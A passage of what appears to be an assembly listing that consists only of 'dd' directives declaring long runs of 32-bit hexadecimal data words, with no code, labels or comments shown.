9A6FE7C9h, 0D948E631h, 0BE0194A5h dd 9A0BF8D1h, 642DC4h, 0A1441092h, 261F848Ch, 6957E701h dd 0D999C97h, 38CD2BDCh, 6C02EF14h, 0FF490F1h, 73CAAFE0h dd 0C7B03Dh, 0D2BC9699h, 0C8301Ah, 0AE83AD33h, 28F6DEA6h dd 2697BD0Fh, 0A0AAE181h, 2E80DC8Fh, 0DDA6E798h, 0EA00ED83h dd 9DFDCAD0h, 7199468h, 7F3ABE7Dh, 0EBE5201Ch, 0D8489C9Fh dd 0F1F7194Ah, 0D68027A1h, 2FB0C025h, 0DB027A12h, 765634F5h dd 78A8E018h, 0CC4C00A8h, 9EFBB463h, 0E900ADE8h, 0E3D09AF4h dd 0FB173F09h, 71D812EDh, 28C800C2h, 2CBDD3B3h, 0E8C08D57h dd 1099E87Ah, 0ED3900BFh, 78E2D076h, 0DF00ACD2h, 3A66A0F4h dd 317B3D0Eh, 6E9867CBh, 455ED49Ah, 30002AECh, 436DB0FBh dd 1F7DD996h, 0C0BF3E75h, 3F6F4C86h, 77C4ABEh, 35AC8000h dd 0E09479C8h, 7ED705A4h dd 8187FE95h, 80E11A75h, 75FBEBB8h, 0E4E87CE2h, 53DA00A7h dd 64BE998h, 913D4EB5h, 231B008Bh, 78D91D56h, 0C9730045h dd 0C194F47Ah, 0A9300D28h, 461BA8E8h, 445100D6h, 0F1320FEBh dd 0B70AE4B0h, 0D89A8EAEh, 5934E880h, 3D31BF2h, 0DE0975D7h dd 20A8DCB0h, 5E0121EDh, 2065935h, 9E404EBFh, 85AE84h dd 9B935542h, 0F7F9189Ah, 0CB717B00h, 0F34FEC04h, 5CF0087h dd 0ACE5F295h, 0C80048B6h, 39A76B16h, 7202D212h, 0EEE660A4h dd 0CE459487h, 4C2F9F0Ah, 0F240602Bh, 3E4692F0h, 9E80CD6Ah dd 37F6F30Ch, 840EAF6Fh, 0E006BB7Fh, 7DF1C6D4h, 4423F762h dd 6B9DEB00h, 7557014Fh, 2BD94303h, 0F85ADA4Ch, 7007C88Fh dd 9A80A0B3h, 0BFB92404h, 87FF00C8h, 24941B42h, 28C07B15h dd 62768E48h, 40334D7Fh, 3DF0444h, 5B03A409h, 0FF804CDCh dd 0A7001730h, 0F0E89DA0h, 81D8BFh, 63CB41FAh, 0F5A8C19Ch dd 0C8F498A1h, 90001148h, 4F7CE366h, 0BD3DB4h, 46D1B3F6h dd 2570520Bh, 0E92FC700h, 78B48173h, 91621604h, 46F90053h dd 311EC42Bh, 3AFFF00Ah, 3592D023h, 0D91CCE00h, 0E73CB1Bh dd 90BC8C1Fh, 0B0119187h, 2ADBE4C7h, 17588A0h, 0EDC2BA00h dd 606D645Bh, 6CAD3AFDh, 0E8242183h, 7D136FBh, 0F432D4DCh dd 0B888C403h, 0FB3F1B04h, 94E6EAA1h, 7CB90094h, 73FC1C93h dd 313B704Fh, 0A16D09FFh, 0C1A3805Ch, 9649C6h, 0DF9046B4h dd 0E9CCB20Dh, 3BBAECE5h, 5D01977Ch, 0D9D4ACD5h, 0BD20FF30h dd 9EC100E2h, 0EA256DB3h, 517B765Ah, 1A947800h, 669B2802h dd 0CF43048Ah, 90C299EEh, 0B7C606F0h, 98A65B14h, 646F01C8h dd 27921153h, 98F2BDD4h, 8ED61348h, 863C4030h, 92748479h dd 6CBD40C1h, 87D05DC0h, 77E4E2A4h, 19973BF6h, 41104480h dd 48F28B1Eh, 0D9DF60F3h, 0BDF0A600h, 4FCD05ABh, 1A9D24D5h dd 945E50A0h, 0B0B8E44Ch, 62BDD95Ah, 8758601Bh, 691C6440h dd 0B4E42D00h, 0DBBF7020h, 2295008Eh, 0CF5CE06Bh, 9CA0EE27h dd 0D060DD13h, 3F2ECB60h, 0D33000C5h, 8D4F69Ch, 0A4E2B547h dd 6612CF00h, 645A97DBh, 0E00B15C1h, 5C513867h, 0D380DC23h dd 866F6D9Ah, 0B9BA2F00h, 0EC078DE5h, 0C0916098h, 8771995Fh dd 63905500h, 0FB06333Ch, 2A170022h, 4757ABB4h, 0A5017709h dd 99D26119h, 0ECF12037h, 148E3C20h, 0C0D487B1h, 5FCB3500h dd 431F21F8h, 76D25D00h, 3AB7B55h, 0E91B0017h, 366A165Ah dd 0CD1E8B0Dh, 32001328h, 0C420E130h, 4F800A6h, 3F1EDC6Ch dd 77011FEDh, 35A2436Fh, 36C17F7Dh, 50C09844h, 2A5E5Ah dd 830A315h, 94B1C2BCh, 0CC79300h, 0F71E7C75h, 490B032Eh dd 8C15C905h, 80200EA2h, 7E4E617Eh, 0C7F0A960h, 0D6EF2110h dd 7CD18F61h, 0F3E49026h, 29B41D5Ah, 36994079h, 452F38E1h dd 0D63B9F00h, 742431F4h, 0DBF53FE7h, 52D1A080h, 7C12E3DDh dd 0CC3D4A00h, 123FC93h, 0EDD905C1h, 43632B24h, 4A52CE4h dd 0C40091FCh, 0D357D51Dh, 0C87346B8h, 9C025B0Fh, 5FA7600Fh dd 0C96EA63h, 15452B35h, 6000DC24h, 13AF2DBDh, 0CE8C39Eh dd 0D6F2917Dh, 0C1141650h, 7CF48E34h, 77A2CF03h, 0FD1A3B8h dd 0DA57EE71h, 0EA480776h, 54600075h, 531C0DF2h, 0CC26AFFBh dd 1865584Ch, 0B898F564h, 0AC2A0433h, 4F039CC0h, 4D86B07Ch dd 47F2E797h, 866C434Ch, 581E5821h, 4A31DA80h, 0C400FD6Ch dd 0C06F7837h, 286195Ch, 1B99A9E0h, 95C0AC77h, 0D20BA04Eh dd 99DD6E8h, 9A30B490h, 61D703A0h, 961E3038h, 0CA01A000h dd 6FBDD1E9h, 904649ABh, 41AF7C00h, 33B3D581h, 726DE70Fh dd 20A581D8h, 75CC7322h, 65C0EB2h, 58402923h, 0DBFA307Ah dd 0E1695A00h, 0E81D3EB5h, 0A4275C20h, 0E195000h, 0D4D73BECh dd 0BC04C926h, 86802807h, 3856D1B0h, 0D28B3D84h, 0B78D1782h dd 18EAC4EFh, 850E8812h, 411253C0h, 8828699Ch, 1C2ED88Fh dd 75008C90h, 0F99103BBh, 609217h, 80278122h, 9B359041h dd 0B80F3924h, 84BDD50Ah, 7D8D8139h, 0F5FC1D96h, 0C5000826h dd 1316F89Eh, 0F0122297h, 4440DE4Dh, 89A40EC4h, 3CBC7F91h dd 0FA088Fh, 0C3629EAFh, 418DA61Dh, 1E40605Ch, 0BC8EBFh dd 7D148631h, 0A7BB967h, 40EB3908h, 0ED700044h, 60F533A4h dd 6BD1E600h, 40831E26h, 0F4E3F07h, 0ADA18C0Fh, 0E8CCC93Fh dd 0F2791049h, 0A675E880h, 0D4001170h, 0A128C821h, 4C85515Dh dd 0C3043CE9h, 9038EC7Dh, 2B1EE830h, 0C088C632h, 82D065E7h dd 514A4E9Ch, 489A79C1h, 43020DACh, 79DA953h, 72848095h dd 6E3CA4h, 85EBB57Ch, 0A16A9FABh, 84471312h, 0ECBD3440h dd 0E2876C2h, 3A222A69h, 0CC4AD8A2h, 0D2038CEBh, 8BF6DBDCh dd 0FC47F19Eh, 18722C75h, 0E5221371h, 0FB502002h, 0F800B570h dd 0D3678AFEh, 94A1A0EBh, 0D4A8E314h, 8251BDA9h, 0A5A04BF9h dd 430C4AE8h, 5207C870h, 0CFE50581h, 196D70Ah, 0FE721AE8h dd 1EE03A9Dh, 1D2CAE1Dh, 0E634DC6Dh, 0B21930B8h, 0B54D2032h dd 0F9F301F4h, 3783D534h, 30CCFFF5h, 7CA26115h, 70EBDE42h dd 0EF025F74h, 87142E2Ch, 619842A8h, 0F8809EBCh, 8E937848h dd 17A18BBh, 0DC7A48h, 1FE8F686h, 42E2DC2h, 0F2BBF0Ch dd 9B088026h, 0BD391E19h, 958600B7h, 654BA266h, 6A0B1D1Fh dd 0F0E44F9Dh, 3D1E27A0h, 0AF1875EDh, 0E3B0E7A5h, 0E0DA02D5h dd 0B8CEB582h, 0CBE144A0h, 2D169704h, 2852FE64h, 30C44089h dd 11A900DBh, 1945053Bh, 4E0A7513h, 0C8A2FF90h, 4A7BD073h dd 5ED01DCh, 53683BD8h, 88F503E5h, 20F779Bh, 0B0DB459Dh dd 0FC8094F6h, 3B3AC9E6h, 965D4101h, 0EF7C6436h, 0C100305Ah dd 359DE78Eh, 0DE004318h, 97A2B76Bh, 1C46057h, 8C50B9C2h dd 717B9AD7h, 1BC0B78h, 0D27A2E54h, 68FEC9ACh, 3DDBBB08h dd 34545E82h, 0C8FF4B2h, 0D37F5A4Dh, 6C2C29C8h, 0FF00B123h dd 4B480D3Dh, 42530B38h, 0F898435Fh, 0E898637Bh, 0E394DB00h dd 0C5C2752Ch, 0F4224F7h, 0CF970080h, 9BAF6932h, 0C030C029h dd 20E8130Bh, 0B9573648h, 0BEA7031Ah, 6F56F869h, 2C3F86A8h dd 540AAF2Ch, 1C167DE0h, 0BB15002Eh, 9BB2ECFCh, 0EA00FB51h dd 0A66ED7C0h, 91B9091h, 8CB3A364h, 80071444h, 99B50F03h dd 1FB47FD7h, 410028B2h, 122F2CC7h, 0A3137190h, 7481E498h dd 97C8BCB7h, 7098C2h, 0B495E644h, 0C8B1888Eh, 50B2EB72h dd 104FBB09h, 14EC4C61h, 3404C6C1h, 48540573h, 1C8B7D42h dd 0EA2494Ch, 986E9CC2h, 496EA400h, 0BF8AD996h, 0F4C949Ch dd 0DFE22DDBh, 3AE07C13h, 48F038F3h, 0BA88A600h, 0F6CE38Dh dd 0C9E72C63h, 5B100080h, 0C4AF8C23h, 1C071096h, 0FF507207h dd 1C5B6C6h, 0C9D7DA9Ch, 24862C80h, 0AD1C2694h, 1D00953Fh dd 84D25AB0h, 262C98E5h, 8130DB7Ah, 1BF9EA4Ch, 807038B4h dd 2CBDC3EBh, 0C48C4CABh, 0B4F03515h, 3EEF9D00h, 799A493Bh dd 10294D05h, 0B8401183h, 88468177h, 1F78B0FDh, 80317AA5h dd 64B25ABBh, 9C187861h, 942EF671h, 8D290056h, 9B2BCF67h dd 6C2EED66h, 0E300DBFBh, 0DB1A540Eh, 49870002h, 0EBCB8F69h dd 14F4AECAh, 0B86D6301h, 0A98BCD5h, 266A8840h, 2BEE02D2h dd 0AB61ADA4h, 7E225440h, 480C39FFh, 1F8C4414h, 0CD4C33F8h dd 149A0558h, 54DCF496h, 0C0BC2506h, 0F72BD080h, 31004C0Fh dd 77A413B9h, 25D384FBh, 70004219h, 1210F9ABh, 76DE8502h dd 0CE92BE25h, 21C50184h dd 0D5D94366h, 631031DDh, 8652C08Ch, 4C25F61h, 0B7ADAEE6h dd 50ECF1F8h, 0EF9AF368h, 0A5B45B0Eh, 290C5428h, 29006CCAh dd 0BE2EB10Dh, 0E0660099h, 7FD4F965h, 0A7587C86h, 0B8809318h dd 3A520299h, 588B0488h, 9880EF0Fh, 0BB6B4BBFh, 71F8FF00h dd 8FAEEC4Ah, 6CD90045h, 0F52248FEh, 332A82EDh, 508AB013h dd 0BA139066h, 342028FCh, 4B8DC53Eh, 890C4964h, 4B1994ACh dd 2D009498h, 88D74A73h, 0B8547Fh, 2407A1F2h, 7AB358C6h dd 0FFC2FB00h, 96F33225h, 6AE51F50h, 19313C1h, 0BCD4CF9Ch dd 0C605C0C3h, 7CE68500h, 0E99DDBCEh, 0E890A968h, 0F096868h dd 58C0CFC8h, 0B902D474h, 65916A78h, 0A38460D1h, 4ECD3F5Ch dd 0FC735C7Ch, 0BF3C8094h, 8FAF1F89h, 0A5E3E805h, 0B14C3098h dd 0D441E407h, 62003FEFh, 218DBD3h, 81E038A5h, 0D4A0C658h dd 51D060AAh, 6C00D873h, 76B13C43h, 9A08B40Dh, 86D709F0h dd 1020BB1Bh, 0B6D2676Ah, 0C6C2C900h, 6D53D98Eh, 0A9360F8Fh dd 640103Bh, 9FDD27AEh, 1C60EB4Ah, 0C0ADE673h, 7C5F2049h dd 762C5DB0h, 0EC029897h, 8413D5F2h, 1880BFF0h, 0BCA6EE3h dd 10B0C9BBh, 0EEFA380h, 2A030830h, 7E43895Fh, 4122D099h dd 939E00C2h, 0C0BB2DDFh, 0B80085B1h, 0CE47844Ah, 1434DBB4h dd 9B41ACCBh, 0AC83500h, 0D0C57B26h, 97691107h, 547029AFh dd 125844Ch, 6D05995Dh, 0EC1803FFh, 3B000B9Bh, 26095C1Ch dd 1C5B44FAh, 402A5663h, 78A55E3Eh, 3373C861h, 385813Ch dd 0D454B082h, 4FB9B879h, 0E9F100B6h, 0CC095F43h, 0CE3FA13Dh dd 105D30AFh, 1EE797h, 2EE60DE2h, 66484A62h, 0AB841800h dd 898356D6h, 6F3B00B3h, 0DFCFC152h, 9703704Bh, 548A77FFh dd 0D25EB825h, 0C19000C8h, 5F2E4A6Dh, 311F733Ah, 1E0163CFh dd 2D89AEB4h, 0CC72C0h, 56D5A7B2h, 30ED95DBh, 0E7659907h dd 0A231BC21h, 7BFC800Ah, 3566001Ch, 70DE7711h, 0F2093F71h dd 854D0304h, 24C099EFh, 63C7FBh, 0E7CFF716h, 0F0039087h dd 0F6758105h, 0C0AB41E2h, 13DE5604h, 11933B12h, 6500B4A8h dd 6CC80152h, 0E500A6C3h, 0A9CC493Ah, 7B3F7431h, 12DF01D5h dd 63507A20h, 95D30ACh, 0CD41B40Bh, 5CB980C4h, 4EE9EAh dd 0F05995B2h, 0BFE073AEh, 7C77F148h, 56D3C00h, 34C66E44h dd 521C008Dh, 26AFBE47h, 4E01EDEEh, 93028A2Ch, 0F30E216h dd 8E59000Eh, 0B647DEFBh, 0C300626Eh, 73AB23E3h, 3353648h dd 0CE0C4FCBh, 0AC90F3D7h, 2E0EE7E5h, 1F8C478Eh, 0F2DAD870h dd 917C004Dh, 0A4AAF7C9h, 0E503AE43h, 30F0FB1Ah, 0A08003B2h dd 8DEA8B03h, 0E0E78CF0h, 2DAF400h, 0C365A444h, 0F6B20014h dd 38B13B70h, 850CA11Ah, 70E8BF5Fh, 625D0164h, 9030EBE7h dd 4DA1810Dh, 5A82113Ch, 60BB04CCh, 0D9394964h, 3818452Eh dd 0F581168Fh, 9D85000Ah, 6C531EBDh, 20F27B0h, 2019A439h dd 2F9C7BCFh, 4250006Dh, 0A2581A6Ah, 97EA4DECh, 41D9B403h dd 7BC07E06h, 60A50759h, 307BD7AAh, 96C183F4h, 0B170CD31h dd 1FDC1AB4h, 5ED90077h, 40736BF6h, 2000E1Eh, 0BD231516h dd 987590h, 1CD94165h, 2B7EB00Fh, 7D97BA03h, 0B156CCh dd 0F36906B8h, 0A232DD63h, 6C57B207h, 0DB65EB59h, 889C9800h dd 307C6E0Ch, 24983901h, 307A4FEAh, 0AF0A82FDh, 45E01657h dd 0ABA48048h, 0EA69AF2Ah, 83974C00h, 5F6780D3h, 2D5A01BDh dd 616F6A8Eh, 93988A8Dh, 5884BC10h, 48C00F7Ch, 12C51CEh dd 80FBA4D8h, 50014E09h, 0C9C1EFC8h, 0F4771C0Fh, 0F154C06Bh dd 486F34C2h, 41293C5Eh, 64D105E8h, 0E9D84D8h, 0A1D8A7DCh dd 170DF7FFh, 0AEDF2E7Eh, 20F059B0h, 7707E705h, 0B04406CBh dd 86C7F370h, 83710074h, 7C6F5795h, 0CF3945A4h, 0FD4F17A7h dd 0D550A500h, 14E1E9h, 6181BA51h, 41EA3BF3h, 0FF014716h dd 0B2EF0Fh, 650AEE25h, 0FE680544h, 40A47197h, 3BB1CEECh dd 8300585Ch, 0E4C8FB50h, 16201B5Eh, 1F66DDh, 68E63ECFh dd 3B03165Bh, 0F075A799h, 0D0FF8810h, 27170D5h, 42BEEE30h dd 8F8123C8h, 34E71ACBh, 3A007538h, 0D91B7D65h, 7FB5957h dd 0C90F1FEAh, 537210BBh, 0F71E7C61h, 0D341227Ah, 0A11E2DAh dd 0EC8FC20h, 0CC04CEA9h, 9B517E5h, 0B820F3A8h, 54DBD1D3h dd 0A271CF05h, 64805B05h, 913A92B3h, 0C3BF4F0Ch, 0D5FA2C89h dd 0BF6FD201h, 64E1B9ABh, 3366D892h, 9391E6D8h, 224BDCEEh dd 0E08EB429h, 0C300802Ch, 0EF157838h, 9D101D53h, 192F4364h dd 0E7A0969Fh, 9401938Eh, 6DF64F65h, 74308CEEh, 849807h dd 0F185B61Dh, 0E4D83D22h, 8F43580Ch, 0BE5E84Dh, 40DAA14Eh dd 8CFE4080h, 53002213h, 2378C32Fh, 0BC02A80h, 0F0CCDF70h dd 0BDD95380h, 0E426527Eh, 12805C05h, 13E1C52Dh, 9FB42E23h dd 58B90DCBh, 0CDFED8E0h, 0E0864893h, 24A10B7Ch, 27F5DFh dd 9AEB068h, 0D0001825h, 2B346C7Fh, 3671961h, 84947CF9h dd 500063C9h, 8C3178D0h, 59488Fh, 0B39E567Bh, 928BEE9Ah dd 3C532078h, 0C6437838h, 0F408ED14h, 89AD9300h, 0DA3D3649h dd 0F85119CCh, 1D67A96h, 0AE150FE9h, 0D025AC1Ch, 0A8497185h dd 141A0060h, 346BF93Ah, 11620009h, 597237B3h, 210FA294h dd 41E1B04Fh, 0B8D78FDEh, 0A0D0A4DFh, 99FCA946h, 984C4FE8h dd 6B094811h, 20B587F8h, 1B5D3144h, 0E06CB0DFh, 46F0ABFh dd 70C05336h, 0F105E210h, 0AAE5D801h, 77DC44Fh, 4A001770h dd 0B8282B0Dh, 0CA270300h, 2A2080EBh, 0E738F5C0h, 0EE315F00h dd 51D1A21Eh, 5D4803DDh, 0AC453C17h, 0A8F233F0h, 7EE6DF09h dd 50FC0806h, 0D600EC24h, 0E843AEB2h, 294B2CFh, 0CE88A649h dd 8C471546h, 736940Eh, 23FEC3A5h, 98FD821Ah, 7C4910Dh dd 0B90F31E4h, 4B7E60D1h, 5C608486h, 0AE579068h, 2D8A0950h dd 301064D2h, 0BC016AD4h, 0EA420166h, 0C5D44C02h, 1F1400B5h dd 0FC13AE63h, 80C110CFh, 50437A81h, 59B032h, 80C7F661h dd 26B85533h, 0A714E808h, 890C7CAAh, 2681800Ah, 731E329h dd 9871E8DBh, 0C08F55B4h, 0EBA34618h, 79E2140Ah, 803DAC6Eh dd 0DC1AC9FFh, 48294912h, 180424CAh, 9017419Bh, 5390203Ch dd 8A583EE6h, 2AC6A0BCh, 42ED007Ch, 3F8906F8h, 0BF2AF34Eh dd 0AA53884Dh, 9C167DC4h, 0F700D013h, 999FD317h, 93C70FC6h dd 4780A153h, 85E1DA89h, 609D781Ch, 0F7B1D883h, 365D9854h dd 64485CB0h, 99D62F00h, 22DF9E68h, 4FC6811Dh, 2B339F07h dd 4A5FB2F0h, 663C3214h, 0A4C8B468h, 9040DEA5h, 0DD0A007Ah dd 860E40B6h, 54303FA1h, 3C0BF816h, 383A00E8h, 0D7628AF4h dd 7B51E4C0h, 7A5040B8h, 9900BCC1h, 8E2BE960h, 7FA0D6h dd 0E4B27906h, 8CF5121Ch, 83BAED00h, 4FD16620h, 0EA7C0078h dd 6A840F44h, 0A50134D3h, 74F350E8h, 7C62F0D6h, 0C018A169h dd 0FA2EABD1h, 0F8801447h, 8AC63BFCh, 0A45A48A4h, 0BC227700h dd 0A0F19361h, 0BE31ED0Bh, 801812D8h, 787C4C04h, 0DE760034h dd 0FCC96B70h, 4F26374Eh, 3A8018F3h, 7ED6F4A2h, 3BA0000Bh dd 0E5879CD9h, 0A47A7D72h, 0F4991D2Ah, 17CE913Bh, 480E9D55h dd 184321DAh, 0DCCC64BEh, 39283B3Eh, 8CCA3C80h, 7ED24BFAh dd 6A938C0h, 0C73EC727h, 10560CE8h, 6E6A490Eh, 586CC948h dd 0C670E788h, 2EB8F4B9h, 0C8C99Dh, 0B318FBB4h, 500EDB2h dd 9C2C3D70h, 85411Fh, 5BC73CEEh, 765DD20Eh, 903AA892h dd 693530ABh, 6CE7E4h dd 3C3E264Bh, 62400DD4h, 1878BB5Ch, 9369B62Fh, 3078B81Eh dd 0FD918EB2h, 0CE017C62h, 17AE6678h, 44F8C9DDh, 0D7910BC0h dd 78A0E7A0h, 0EEE26140h, 64D4B912h, 98223C35h, 4D12200Ah dd 0E0902F41h, 7C970CB1h, 48468023h, 60B04C30h, 0CD622BA3h dd 0DC8CDEB0h, 140800B3h, 0F3D7FC89h, 3261E899h, 0F61009DBh dd 59399FD6h, 65298FEFh, 105E600Bh, 966F02B0h, 0E6CB002Ch dd 6220B652h, 81582772h, 9C070078h, 1FF748FCh, 1389ECAEh dd 0C45D8E3h, 8790BA12h, 0B36D011Fh, 0AC219303h, 0C5B82E11h dd 98390B9Ah, 0A4075018h, 50E4021Dh, 0F0FBCBh, 791D2120h dd 12B90008h, 0E2C09AC1h, 36008E95h, 49133FAFh, 166ADAD4h dd 12348A22h, 81283299h, 0DADDF980h, 4C0A5623h, 0A874551Dh dd 7901386Ah, 0B01CF213h, 0F3811073h, 9CC94ED3h, 0D281B2C8h dd 0E91FEF1Ah, 5EB4B080h, 236B6D45h, 50E82F53h, 61060A14h dd 127D79FDh, 92370150h, 2D018ACAh, 2B99DCB9h, 5DC09C5Dh dd 0F7320BDCh, 0EE880552h, 30853C68h, 60597A31h, 0CD00D7A6h dd 0DEAE3C08h, 39D8BB20h, 89801978h, 3F3DBA33h, 6395699h dd 0C6A594A4h, 4F9600A0h, 5BBADD58h, 0C10051Fh, 0C2256075h dd 49C03197h, 6009F36h, 7FF18016h, 0E7B14Ch, 8D855DE5h dd 0BAE142CCh, 9B5A2300h, 36157BF3h, 0C29200EEh, 3EF51B19h dd 8B005CE3h, 2FE57FB7h, 30B42Ch, 6136A7AAh, 995AAB3Bh dd 6B40CF07h, 0CA9023BBh, 133C57ACh, 0D1FE88h, 6994F926h dd 0B507145Dh, 0D47D9993h, 83C19B64h, 67E8F18Ch, 33D70002h dd 2D763B04h, 6007EE6Bh, 72435F07h, 5DA93761h, 0D3AC740h dd 90E238E9h, 0CD1C4080h, 3D9C0593h, 6DE7B000h, 3B31A3D7h dd 86832859h, 390EA9Ch, 112A0A9h, 47C8EBEFh, 523E021Ch dd 0C8FF80B9h, 0FAD48BBBh, 0F89360A8h, 0A57832DBh, 79D0370Ah dd 7D602889h, 1C37044h, 20FEEF72h, 444313BCh, 2FA001CEh dd 0F4EDC82Bh, 0A80ECAF1h, 809D29DAh, 0AFA6FD8Dh, 0F8966EDCh dd 5AD662A7h, 3DF900D4h, 258506D5h, 73C83F60h, 0EACA992Bh dd 0B40330C7h, 0F63AEB99h, 0A9CF4D00h, 0B76579C3h, 0DAC40F9Dh dd 0AEC1C8D5h, 8045DF7Fh, 0FFE43170h, 175ED29h, 1B25DEC2h dd 80CD3D76h, 875F9F81h, 22DF8E1h, 0A9E9C9FDh, 0D8E0456Fh dd 0D0A6DD98h, 0AAF063Ah, 808405DBh, 0C6BC1702h, 784480CEh dd 39B4268h, 3C83DEF1h, 0E6E88280h, 9776646Dh, 2DDA9A00h dd 7C2F77DBh, 5DBE0057h, 0A4094116h, 0C829F8DEh, 1780E002h dd 586B5B44h, 1A8200BDh, 0D8FE2333h, 3B006AE3h, 900DDB14h dd 5DFD2ADh, 0FD6D7020h, 4F2AC087h, 5A008E94h, 145B6C83h dd 0D5E18Fh, 682E9F25h, 0E6BAE324h, 0D90A1000h, 944B4987h dd 0D8EF0797h, 0F0BF3EAEh, 29FA34A4h, 75745606h, 18B1B9h dd 126DB509h, 5866F9A7h, 0A3AC20h, 0CCDD3136h, 51A0508Ah dd 0D19BD306h, 884EB6h, 87A80E3Bh, 0FC7A3289h, 0B5C27C18h dd 2F7138h, 4D9D2ED3h, 0A8F53767h, 0D998DE00h, 2595B511h dd 4A8A035h, 0BF3F3964h, 18260CF5h, 0CA40AC0Fh, 0FC866E00h dd 0AAD839BCh, 848F16E5h, 0EE210049h, 0B2CDBE3Bh, 0F63F0901h dd 2B81334h, 0C0974860h, 0EC961A60h, 2200EA98h, 0EB8E3DE6h dd 35B86Fh, 0A609DA26h, 0B21DFE33h, 0D611DF00h, 9A080D6Ah dd 6D500018h, 3509BD77h, 1D98E32Eh, 0B37B800h, 0D4E7E907h dd 0CCFE9Eh, 0B72AE82Ch, 169AC02Fh, 1C211000h, 8A25B982h dd 3B8500C1h, 0DAC8018h, 5907D5B7h, 5458ED75h, 782645E1h dd 526BECh, 79781C9h, 25F406A7h, 50333900h, 15378CBFh dd 0B60102C6h, 0D719835Eh, 0A84E4075h, 1F717F6Ah, 0C0498DB1h dd 327C55BCh, 1600F628h, 0C3BFB91Dh, 0E1C50EBh, 0E68A0715h dd 575A0243h, 4005CDA8h, 800B4B3Ah, 718ED9BBh, 0B183DAFh dd 48A0EF21h, 9166460Eh, 9E004052h, 0C923D408h, 5123FC3h dd 0DD34950h, 0DAB40094h, 88A74DD9h, 0CCCA8E09h, 87AC0060h dd 3FA4B76h, 0DFFFF919h, 0E7908C01h, 6401B7D5h, 84792981h dd 0E4502C28h, 28C960E9h, 0E18F53h, 0E16E08Eh, 39F0EF4Fh dd 57FAD602h, 0A06297C2h, 3AE4F920h, 0C1213B52h, 2F389B0Ah dd 9C00DA28h, 0BD433852h, 0B4C0D50Fh, 0B66DE021h, 3C3517AFh dd 5080D7C1h, 0DE415C90h, 8B0066F7h, 593DA3A4h, 7A646385h dd 582F3C15h, 80319B07h, 30BC72B6h, 2D522840h, 98A71428h dd 0B89F9824h, 0CAF4E0A8h, 6DCB7019h, 1EF4AC80h, 8F8B014Dh dd 26D35324h, 2B57FCC4h, 0F020C600h, 0D4F643Fh, 5C0C0738h dd 3063AABDh, 2EEB44E2h, 9AD3F21Eh, 8B0C70A8h, 7143E908h dd 3DA90CBDh, 0BCF110FBh, 0DD8DE509h, 2E440064h, 3B357BBh dd 5DCA410Bh, 988C3B28h, 0A11E56BCh, 34829045h, 80692F80h dd 0DA510EF4h, 9D783ABCh, 0F8B7EF0Eh, 9AF909A0h, 0DB01F076h dd 2383BE7Dh, 4C465E47h, 0DCE480E0h, 13F100F6h, 0C541B7C9h dd 35EC069Dh, 1F49D000h, 0CDCB0757h, 0E89CA00Dh, 93480076h dd 0C0EC9C9Ah, 4A787896h, 914C1F00h, 0AF2D9CAh, 1CD40050h dd 298A7233h, 0F0F82B1Bh, 0F712C00Eh, 0FC6F0342h, 0A09ADC50h dd 4A6E7003h, 56987ED4h, 730664E8h, 869768DDh, 789188h dd 49C0BF4Eh, 333AEDADh, 1E0780CAh, 0A372EBBCh, 0FA673A4Fh dd 0EE01F740h, 954EF381h, 942017D9h, 14D60045h, 748769B4h dd 0EF48BC19h, 0DF2F00BCh, 79C6695h, 0B6551885h, 0A0B53896h dd 528D3412h, 0B3B06443h, 358580AAh, 0F22DF43Dh, 0F8B6017Bh dd 66E1954Dh, 0B9D6DC77h, 571D9E18h, 4D4597F1h, 9C0484F6h dd 90DDF8BAh, 5AD49DB8h, 0AB15F100h, 27B0F98Ah, 0D889497Ah dd 0FAC63E01h, 0D890BF51h, 4002EAE6h, 8A8141B6h, 247043A5h dd 9706C60h, 40212FF2h, 0FC9D9350h, 3A1F8118h, 0CF40C511h dd 0FD1C88D9h, 0E9040008h, 0E712706Dh, 0B749D6E4h, 55C0634h dd 60BD45h, 0D352DEC8h, 0FC422153h, 98F48EE8h, 0E300CEEAh dd 0B1D130B7h, 0D47C58h, 713486C3h, 0C9EC59A4h, 0B039C81Ch dd 0B8A1DA03h, 6840BFAAh, 7E23F8h, 0EF494A9Fh, 0E820EE31h dd 3095D11Dh, 3AC70AC0h, 7FF810B9h, 691073Dh, 80409A74h dd 4ED38FE9h, 0FE479B18h, 71273581h, 0C04D1C42h, 280F0086h dd 605DC169h, 0E0AD39h, 0DE653936h, 2491CF54h, 3DAB7358h dd 0BF0E8E80h, 14B75160h, 8B00A376h, 5035C111h, 0FF15F21h dd 3359F71Eh, 5DB8AC40h, 0B97A2D7Eh, 80464C3Fh, 9742371Dh dd 7D7A2AB3h, 614A002Ch, 853E6B4Fh, 280169D9h, 13019D96h dd 0B081FD5Ah, 0F5A230ECh, 4A4A80F6h, 0A69554B4h, 0F8580094h dd 6343118h, 3014EBFBh, 0A170DA5Bh, 208080B6h, 574E52AFh dd 0B02374h, 4AB4800h, 65BD4470h, 72692689h, 0F7D70075h dd 0D453D636h, 34649D28h, 0EDC67300h, 0FDBAF1DEh, 76532202h dd 0ACFA52E6h, 836B5503h, 41ECC5CFh, 0E000A091h, 4D8E32h dd 0D5535A39h, 0FE59CB52h, 0F16F2000h, 90412A3Eh, 0E71490F5h dd 40A904Bh, 24B4A0h, 0D7A1A32Bh, 0C93B4ABEh, 8851AB87h dd 0DCEBA830h, 19A1011Ch, 82E47E24h, 3B419493h, 0C2C60C98h dd 6BF845h, 27B7220Dh, 0DF52E535h, 4CD80702h, 94C563ADh dd 91FF09A8h, 5000E46Bh, 0B108ADF5h, 2D6F23Ah, 422FC9B6h dd 0A6C8B005h, 154A0767h, 409927B9h, 227F0840h, 9860BB00h dd 0FAAC120Eh, 0B6D003EDh, 0E8C04AB8h, 5B01A8E8h, 65406600h dd 0FC859690h, 7310000Bh dd 467FC39Bh, 8F0008BBh, 4A9E2707h, 28B32F0Fh, 16C5D201h dd 0AE722A0Eh, 6D070512h, 0CDF0AD46h, 569CD3h, 47F52E9Bh dd 0C059C993h, 9EB50500h, 0EF16973Bh, 0C71B007Dh, 0F504914h dd 1900F8DBh, 0C2002AFh, 0A0403A95h, 856C84h, 7781D0A8h dd 9FD67E3Ch, 8E76522Ch, 2F929400h, 9988C70h, 7D73044h dd 0FEAAC800h, 0C5FE8861h, 0D6320D00h, 7EDBD24Bh, 0CFA9012Ah dd 50EFB04h, 0A48247Ch, 0E5619D00h, 39F4B9D1h, 7063038Bh dd 3AEF6D5Ah, 30CEC0E9h, 0A530BC18h, 497C99CAh, 0E7B228DAh dd 88E403D0h, 0E9A944CFh, 0C5D829D8h, 423BED00h, 1CE3713h dd 0F987004Ah, 